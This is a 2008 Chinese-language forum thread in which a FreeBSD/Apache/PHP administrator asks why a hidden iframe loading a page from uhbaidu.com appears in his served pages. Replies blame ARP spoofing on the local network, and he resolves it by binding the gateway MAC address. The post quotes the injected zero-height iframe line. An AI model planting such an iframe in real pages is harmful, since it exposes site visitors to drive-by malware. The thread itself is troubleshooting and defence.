紧急！页面中被加入了一个链接uhbaidu.com，如何去掉？

snwxf

UID: 4052
帖子: 163
积分: 374
在线时间: 1 天 12 小时

1^# snwxf 发表于 2008-01-19 13:54

紧急！页面中被加入了一个链接uhbaidu.com，如何去掉？

我用的Freebsd6.2+apache2+php5
在浏览器中显示的页面源代码开始处中被加入了这一段：
<iframe src=http://www.uhbaidu.com/photo/congci.htm width=100 height=0></iframe>

我在服务器上搜索了所有文件，使用如下命令：
grep -r uhbaidu *
但是没有结果，我现在急着想知道，这段代码是如何被加上去的？
是不是我的apache或者php被人改写了？

谢谢大家，非常紧急！

xiaoyu9805119

UID: 39268
帖子: 67
积分: 154
在线时间: 6 小时

2^# xiaoyu9805119 发表于 2008-01-22 15:59

查下是不是你机器或者内网中毒，或者服务器局域网是否有病毒。

simonyang2008

UID: 2799
帖子: 93
积分: 213
在线时间: 12 小时

3^# simonyang2008 发表于 2008-01-23 13:52

一般情况下是你公司的局域网中了这个病毒,甚至没有中毒的电脑也受到影响.详情可以上网查一下"arp病毒"相关的信息.

专杀工具:
http://dl.360safe.com/kill_arp.exe

snwxf

UID: 4052
帖子: 163
积分: 374
在线时间: 1 天 12 小时

4^# snwxf 发表于 2008-01-26 17:13

非常感谢，已经解决，应该是其它机器中了毒，我的服务器在IDC，做了一个将网关的MAC绑定到网关的IP，问题解决，谢谢大家的关心！

topidea

UID: 30175
帖子: 136
积分: 312
在线时间: 1 天 1 小时

5^# topidea 发表于 2008-01-28 14:02

网络中的其他机器中了ARP病毒